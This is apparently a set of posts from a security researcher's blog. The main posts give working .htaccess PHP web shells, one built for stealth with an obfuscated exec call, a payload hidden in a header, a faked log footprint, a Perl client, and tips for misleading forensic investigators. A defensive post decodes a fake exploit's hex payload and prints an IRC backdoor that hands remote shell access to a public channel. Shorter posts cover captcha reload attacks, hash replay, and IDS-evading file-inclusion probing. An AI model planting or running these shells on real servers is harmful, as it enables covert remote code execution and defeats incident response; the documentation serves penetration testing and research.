I am stealing an idea from the Perl community, and bringing it to the information security community: The advent calendar. http://secadvent.com will be publishing one security related article each day from December 1 - 25. In order to ensure that the content is diverce and entertaining I have put out a call for participation. If you have an idea, a funny picture, a super one line shell script or something completely different that you wish to share then please submit it!

For full details on submissions see the CFP at http://secadvent.com/cfp.html

Ruxcon 2012

If you're familiar with the Ruxcon security conference then this is proabably just repeating what you already know. However, if you are not familiar with the conference, then I strongly suggest you check it out, and not just because I'm presenting this year. It is an excellent conference! Traditionally it delivers a strong lineup of technical, in-depth presenters who know their subject well and delivers valuable information.

The details of my presentation are on the Ruxcon website. Hope to see you there!

Writing a stealth web shell

| | Comments (2)
People keep referring to the htshells project as stealth!?!?!?!? They are very unstealthy, leaving plenty of evidence in the logs, but it did get me thinking, what would a .htaccess stealth shell look like? In order to claim the status of "stealth" the shell would have to meet the following requirements:
  • No bad function calls
  • Hidden file
  • Hidden payload
  • Hidden url
  • WAF/IDS bypass
  • Limited forensic evidence
Looks like a small list, shouldn't be too hard....

No bad function calls
The shell should not contain any bad function calls such as eval, passthru, exec, system, `` or similar operators. This is to avoid detection from scanners such as anti vrus or static analysis tools. We have a few options here, such as using a variable variable to dynamically assign the function to call,  or we could go with the non alpha php shell. I did however choose to go with a feature that relies on common methods and AFAIK not many scanners pick up on variable function calls.

Hidden file
I already solved this with my htshells project. Having your shell in a dot file keeps it hidden on linux. If you cannot upload a .htaccess file however I would aim to hide in plain sight with a index.php file instead.

Hidden payload
In order to keep the payload out of the url we'll provide it outside of the request URI and request body. A cookie is a common place to store the payload, but I decided to use a non cookie header. Just to be safe, in case someone decides to log cookies.

Hidden url
Luckily the htaccess file also offers us an option to hide the url of our web shell using mod_rewrite. This allows us to invoke the shell through a different url.

WAF/IDS bypass
By applying common encoding we can ensure that plaintext rules don't match our payload and make parsing the request expensive enough to ensure that realtime decoding isn't feasible. For the extra paranoid, encoding in combination with basic obfuscation will stop detection by IDS which can offload the offline decoding to an agent. I chose plain base64_encoding, and padded it with some bytes to make automated parsing fail.

Limited forensic evidence
This is where most shells fails, most web scripts use request parameters for command input. This is great on penetration tests as it offers transparency to the client, but it's not very stealthy. I'll start by illustrating a log segment for favicon requests.
# grep favicon.ico /var/log/apache2/access.log - - [20/Apr/2011:09:46:30 +0400] "HEAD /favicon.ico HTTP/1.0" 200 - "-" "-" - - [20/Apr/2011:09:52:27 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Safari/6533.19.4 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (MacBook2%2C1)" - - [20/Apr/2011:10:07:29 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Safari/6533.19.4 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (MacBook2%2C1)" - - [20/Apr/2011:10:32:31 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20110319 Firefox/3.6.16"
As you can see from the example, the log records the IP of the client making the request, the (server) time of the request, the request method and url, response code, response size, referrer and user-agent. Normally the htshell would be a dead giveaway: - - [23/Jan/2012:11:47:32 +1100] "GET /.htaccess?c=uname -a HTTP/1.1" 200 617 "-" "Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"
It is clear that the url accessed was .htaccess,and it responded with a 200 OK response code instead fo the usual 403, it is also evident what command was run. In order to keep the shell from leaving forensic evidence, we will disguise the request to the shell as a normal 200 OK or a 404 response to a seemingly normal file using the hidden url and hidden payload.

Now for the actual implementation, using php for the programming language:

- No bad function calls
Invoking function names by string FTW! $e = str_replace('y','e','yxyc'); $e($cmd) will call exec on $cmd.

- Hidden file
the shell is .htaccess, as hidden as it gets.

- Hidden payload
Receive the payload via the X-ETAG header, which is accessible via: $_SERVER['HTTP_X_ETAG'] and send the response via the same header. This requires output buffering to be enabled otherwise PHP will complain about headers being sent after output has started. Luckily this is not an admin flag and can be set from within the .htaccess file itself using: php_value output_buffering 1.

- Hidden url
Rewrite supposed url to the .htaccess file if X-ETAG request header is set
RewriteEngine on
RewriteCond %{HTTP:X-ETAG} !^$
RewriteRule .* .htaccess [L]
This allows us to make requests to existing files, and gettting the shell if the X-ETAG header is set.

- WAF/IDS bypass
By padding the base64 encoding with two bytes automated base64 decoding attempts will fail with a length check error.

- Limited forensic evidence
By generating output PHP will set the response code to 200 OK, although a header() call can easily be used to make it something else. Thanks to the output buffering the content of the .htaccess file can be discarded and the response size can be set to a known value. I'm using print str_repeat("A", 9326); to match the size of my favicon which can be seen in the first log snippet.

This all combines to the following file:
# Self contained .htaccess stealth web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web

    Order allow,deny
    Allow from all

# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess

# Enable output buffering so we can fudge content length in logs
php_value output_buffering 1

# Rewrite supposed url to the .htaccess file if X-ETAG request header is set
RewriteEngine on
RewriteCond %{HTTP:X-ETAG} !^$
RewriteRule .* .htaccess [L]

# SHELL <?php ob_clean(); $e = str_replace('y','e','yxyc'); $e(base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))." 2>&1", $o); header("X-ETAG: AA".base64_encode(implode("\r\n ", $o))); print str_repeat("A", 9326); ob_flush(); exit(); ?>

Unfortunately the WAF/IDS bypass makes it somewhat unfriendly to use with traditional HTTP clients, so I wrote a perl based client:
# Interface for the mod_php htaccess stealth shell
# Written by Wireghoul - http://www.justanotherhacker.com

use warnings;
use strict;
use MIME::Base64;
use LWP::UserAgent;

&usage unless $ARGV[0];
my $url = $ARGV[0];
pop(@ARGV); #keep readline happy
my $ua = LWP::UserAgent->new;
$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20110319 Firefox/3.6.16');

sub usage {
    print "Usage: $0 url\nExample: $0 http://vuln.com/upload/favicon.ico\n";
    exit 2;

my $cmd = '';
print "Connecting to shell at $url - type 'exit' to exit";
until ($cmd eq 'exit') {
    print "\nshell> ";
    $cmd = readline;
    chomp $cmd;
    my $payload = 'AA'.encode_base64($cmd);
    my $response = $ua->get( $url, 'X-ETAG' => $payload);
    if ($response->header('X-ETAG')) {
      print decode_base64(substr($response->header('X-ETAG'),2));
    } else {
      print "Error! No payload in response!\n";

A quick demo:
# GET http://localhost/favicon.ico | head -1
h6  �@@(F( 
# ./stsh.pl http://localhost/favicon.ico
Connecting to shell at http://localhost/favicon.ico - type 'exit' to exit
shell> uname -a
Linux bt #1 SMP Thu Aug 18 13:38:02 NZST 2011 i686 GNU/Linux
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
# tail -3 /var/log/apache2/access.log - - [31/Jan/2012:14:07:59 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20110319 Firefox/3.6.16" - - [31/Jan/2012:14:08:01 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20110319 Firefox/3.6.16" - - [31/Jan/2012:14:08:03 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20110319 Firefox/3.6.16"
Notice there is nothing indicating any difference between the first request (normal request to the actual file) and the two shell commands.
Some parting notes:
  • Large response bodies can cause the header to exceed the maximum size defined when compiling Apache (default 8190), the best way to get around this is to store the command output in the session and return it one chunk at a time.
  • Divert the investigator by presenting a likely scenario, if there is an existing file, such as a picture. Hotlink the image from a public forum and use the forum url as referrer value and use a known aggressive crawler as the user agent.
  • Rewrite the shell to use different values than the X-ETAG, etc used in the demo script for better WAF bypass.
  • I guess it's OK to call the htshells project stealth now??
  • Systems that log response length as headers and response body will show varying content length for the shell requests, this is not the default apache behaviour and requires additional modules to be enabled.

If I missed anything, please leave a commant and I will address it. If you like my work, please say thanks or buy me a beer!

Captcha reload and other attacks

This post has been sitting in draft state for almost two years now so I figured I'd publish it. The captcha reload attack in particular attack targets captchas that support some form of user supplied input and change the captcha value in session upon image creation. In it's simplest form the attack works like this;
  1. Attacker visits page with captcha (session has captcha value y)
  2. Attacker loads a targeted captcha url which changes the value of the session (session has captcha value z)
  3. Attacker submits form from step1 with a certainty or increased likelyhood of having the correct captcha due to step2.
Better yet, lets discuss some real examples I have discovered during penetration tests.

User suppplied text in captcha url
Captcha value = query string. I'm not going to dicuss this one.

User suppplied seed in captcha url (http://domain.com/captcha/image.php?r=13323)
A known seed is as good as providing the captcha string in url. Once a human decodes the captcha message it will never change.

User suppplied text in domain state in captcha url (http://domain.com/captcha/image.php?t=HFG_UJHNB_jBHHJGSDJSMSAKDJGSJetcetc)
As above if the session is updated. In the penetration test where I found this the session was not updated, however the text can be used to identify known captcha text if a human decodes a few hundred captchas (they were only using 4 letters). In this case the attacker would reload the step1 url until a known domainstate string  appears and submit the form with certainty of the captcha value.

User suppplied complexity in captcha url (http://domain.com/captcha/image.php?characters=3)
This one comes from an old copy of this script: http://www.white-hat-web-design.co.uk/blog/php-captcha-security-images/. By reloading the captcha the captcha complexity would be reduced to 3 characthers This script also allowed you to increase the image size which caused the letters to appear with far less obfuscation. Older versions of the script allowed you to lowver the character count to 1 and allowed image sizes so large that you could remove the text obfuscation completely or cause a denial of service attack by generating very large images.

Since the white hat web guys are kind enough to host a demo I decided to make a video showing how the attack works:

Got some exploit code that you didn't write? You had better check it first. Especially as I've seen a few people link to fake exploits lately. One example is the supposed winnuker from http://www.hackerthreads.org/Topic-5973. Which sports the following payload:

Never run an exploit if you didn't write it or don't understand the shellcode. I cannot stress that enough. Anyway, the exploit code has a bad smell to it, so I do a lazy check of the shell code:
~$ echo -e "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a\x24\x63\x68\x61\x6e\x3d\x22\x23\x64\x61\x72\x6b\x6e\x65\x74\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22\x6d\x6f\x72\x6f\x6e\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22\x65\x66\x6e\x65\x74\x2e\x76\x75\x75\x72\x77\x65\x72\x6b\x2e\x6e\x6c\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d\x3d\x7b\x7d\x3b\x65\x78\x69\x74\x20\x69\x66\x20\x66\x6f\x72\x6b\x3b\x75\x73\x65\x20\x49\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3b\x24\x73\x6f\x63\x6b\x20\x3d\x20\x49\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3a\x3a\x49\x4e\x45\x54\x2d\x3e\x6e\x65\x77\x28\x24\x73\x65\x72\x76\x65\x72\x2e\x22\x3a\x36\x36\x36\x37\x22\x29\x7c\x7c\x65\x78\x69\x74\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x55\x53\x45\x52\x20\x6d\x6f\x72\x6f\x6e\x20\x2b\x69\x20\x6d\x6f\x72\x6f\x6e\x20\x3a\x6d\x6f\x72\x6f\x6e\x76\x32\x5c\x6e\x4e\x49\x43\x4b\x20\x6d\x6f\x72\x6f\x6e\x5c\x6e\x22\x3b\x24\x69\x3d\x31\x3b\x77\x68\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x3d\x7e\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20\x28\x5b\x5e\x20\x5d\x2b\x29\x20\x2f\x29\x7b\x24\x6d\x6f\x64\x65\x3d\x24\x31\x3b\x6c\x61\x73\x74\x20\x69\x66\x20\x24\x6d\x6f\x64\x65\x3d\x3d\x22\x30\x30\x31\x22\x3b\x69\x66\x28\x24\x6d\x6f\x64\x65\x3d\x3d\x22\x34\x33\x33\x22\x29\x7b\x24\x69\x2b\x2b\x3b\x24\x6e\x69\x63\x6b\x3d\x7e\x73\x2f\x5c\x64\x2a\x24\x2f\x24\x69\x2f\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x4e\x49\x43\x4b\x20\x24\x6e\x69\x63\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x48\x69\x2c\x20\x49\x6d\x20\x61\x20\x6d\x6f\x72\x6f\x6e\x20\x74\x68\x61\x74\x20\x72\x61\x6e\x20\x61\x20\x66\x61\x6b\x65\x20\x30\x64\x61\x79\x20\x65\x78\x70\x6c\x6f\x69\x74\x2e\x20\x76\x32\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x74\x6f\x20\x72\x75\x6e\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x73\x20\x6f\x6e\x20\x6d\x65\x2c\x20\x74\x79\x70\x65\x3a\x20\x22\x2e\x24\x6e\x69\x63\x6b\x2e\x22\x3a\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x4f\x4e\x47\x20\x24\x31\x5c\x6e\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x22\x3b\x7d\x69\x66\x28\x73\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x6e\x69\x63\x6b\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x3a\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x20\x28\x2e\x2a\x29\x24\x2f\x24\x31\x2f\x29\x7b\x73\x2f\x5c\x73\x2a\x24\x2f\x2f\x3b\x24\x5f\x3d\x60\x24\x5f\x60\x3b\x66\x6f\x72\x65\x61\x63\x68\x28\x73\x70\x6c\x69\x74\x20\x22\x5c\x6e\x22\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x5f\x5c\x6e\x22\x3b\x73\x6c\x65\x65\x70\x20\x31\x3b\x7d\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69";
$chan="#darknet";$nick="moron";$server="efnet.vuurwerk.nl";$SIG{TERM}={};exit if fork;use IO::Socket;$sock = IO::Socket::INET->new($server.":6667")||exit;print $sock "USER moron +i moron :moronv2\nNICK moron\n";$i=1;while(<$sock>=~/^[^ ]+ ([^ ]+) /){$mode=$1;last if $mode=="001";if($mode=="433"){$i++;$nick=~s/\d*$/$i/;print $sock "NICK $nick\n";}}print $sock "JOIN $chan\nPRIVMSG $chan :Hi, Im a moron that ran a fake 0day exploit. v2\nPRIVMSG $chan :to run commands on me, type: ".$nick.": command\n";while(<$sock>){if (/^PING (.*)$/){print $sock "PONG $1\nJOIN $chan\n";}if(s/^[^ ]+ PRIVMSG $chan :$nick[^ :\w]*:[^ :\w]* (.*)$/$1/){s/\s*$//;$_=`$_`;foreach(split "\n"){print $sock "PRIVMSG $chan :$_\n";sleep 1;}}}#chmod +x /tmp/hi 2>/dev/null;/tmp/hi
If you work with hex or shellcode regularly you might have already worked out that the shellcode was in fact text (the large number of \x20 is a pretty dead giveaway). As you can see a quick check of the shellcode reveals that this is in fact a fake exploit that offers a remote shell to the entire efnet #darknet channel. If the shellcode is binary then you'll need to do some more analysis, but for most fake exploits the above technique usually reveals them.
Internet Explorer and the .NET Framework are hardcoded not to send requests for "" or  "localhost' through a proxy. So if you're testing an application that communicates with a service bound to the loop back interface it's not straight forward to intercept the traffic using Burp or another intercepting proxy. In IE9 they fixed this, by adding <-localhost> to the "do not use proxy" list will override this behavior. However if you're testing on an older version of IE you will have to use a work around.

Most articles on the web will tell you to use the IP address or machine name of the server you are testing. Which works fine if the service is bound to or the public interface. However, if the service is bound to you cannot reach the service via the machine name or the public interface IP. One option is to setup a tunnel using netcat, stunnel, socat, etc to forward requsts from the public interface to the loopback interface. Or you can use dns. The hardcoded restriction only triggers if the url has the string or localhost in it. Requests to or a domain that resolves to are sent through the proxy.

So depending on your level of access to the system, you can add an entry in c:\windows\system32\drivers\etc\hosts for l0calhost , like this: l0calhost
Or you can create a dns entry for a domain you control that resolves to If you are running bind that should look like this (remember to update the serial number too):
loopback.yourdomain.com IN A

You can now intercept the traffic for the service through the proxy by using http://l0calhost/ or http://loopback.yourdomain.com/

A while back I was testing a CMS that had a curious feature, all uploaded files were placed in their own directory. This was not a security enhancement as the application allowed php files to be uploaded. However I coudn't help ask, what if php uploads had been restricted? The answer was .htaccess files. Using SetHandler in a .htaccess file is well known, but does not lead to remote code execution. So after some thinking I put together some self contained .htaccess web shells. I wrote both a php and a server side include shells, but other options can easily be added (jsp, mod_perl, etc).

This works by first diverting the default apache .htaccess access restriction from within the .htaccess file so we can access it as a url. Next we reconfigure the .htaccess extension to be treated as a dynamic content script and finally we have our payload. The attack works because the .htaccess parsing and processing for apache configuration directives occur before the .htaccess file is processed as a web request. There is a relatively small gotcha, the payload has to be commented out with a # at the start so it doesn't get interpreted by apache and likewise, the script interpreter must ignore the apache directives. PHP lends itself well to this as any content not within the <?php ?> tags are presented as is.

# Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
Order allow,deny
Allow from all

# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess

###### SHELL ###### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>###### LLEHS ######

Simply upload the preferred shell as a .htaccess file and then visit the .htaccess file via the url http://domain/path/.htaccess?c=command for remote code execution. The collection of attack files are collectively accessible from my github htshells repository.

Update: Due to the large number of comments on this post I have created more project information including a FAQ and tutorial under the project page.
Well April sped past like a bullet. I missed updates to the blog as I migrated to yet another hosting provider. By now I have done it so many times that the core shift only takes about 10 minutes work and some rsync commands. As usually I forget a few bits and pieces. If you have had any email bounces to me then please resend to the usual wireghoul address.

So here is a quick roundup of April:
  • charmunge.pl was the April addition to Jason
  • Graudit gets closer to 2.0 release
  • My first 2011 advisory went out (JAHx111)
  • No April tutorial happened.
And that is it for April. For the remainder of May there will be another update to Jason, two tutorials, more graudit updates, one or more advisories and if you're going to AusCERT and want to catch up for a beer/coffee let me know!

Known hash replay attack

The use of client side password hashing in web application (such as http://pajhome.org.uk/crypt/md5/) may be on the rise. At least it appears that way to me as I have seen several deployments lately.

These hashing libraries usually promises to keep a user's password secure in non ssl environments.
One could argue that they perform the intended task. The problem with http traffic compared to https is that the traffic is obtainable by anyone else connected to the same network as the user (or the server). If an attacker obtains the hashed password string he or she can provide the hash to the server to authenticate as the user without knowing the users actual password.

This does mean that the user's plaintext password is safe until the hacker breaks it so for users who use the same password everywhere, there is a marginal protection when websites use hashed passwords. It's still a far cry from the relative security of submitting sensitive data over a SSL encrypted connection.

The March addition to Jason is iterate.pl, a script which iterates numeric values in passwords.
~/Jason$ ./iterate.pl password1

You can grab a copy from the github project page: https://github.com/wireghoul/Jason
Most of us think game over when we see a url that cointains a file reference, like http://localhost/basename.php?file=hello.php. Lets say that you were doing a penetration test where you are trying not to trigger any IDS alerts. How can you determine if the script filters the page variable using basename? Here are some simple steps that should go undetected.

Lets say that the scripts in this fictional url are as follows:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
        <title>Basename poc file</title>
if (file_exists(basename($_GET['file']))) {
} else {
        echo "404 - File not found";
<?php echo "Hello World\n"; ?>
The first test we take is to determine what a negative response would be, we'll visit http://localhost/basename.php?file=hello.wisconsin, this nets us a custom 404 error. Now that we have a false contition the next test is simply http://localhost/basename.php?file=a/b/c/hello.php. If this gives us the same output as http://localhost/basename.php?file=hello.php the script is using basename (or a similar technique) to extrace the filename. If you get a negative response the script appears to be vulnerable to directory traversal/LFI/RFI. Better encode your next attack to avoid triggering the IDS.

Happy hacking!
(And yes, this is the February tutorial running late).
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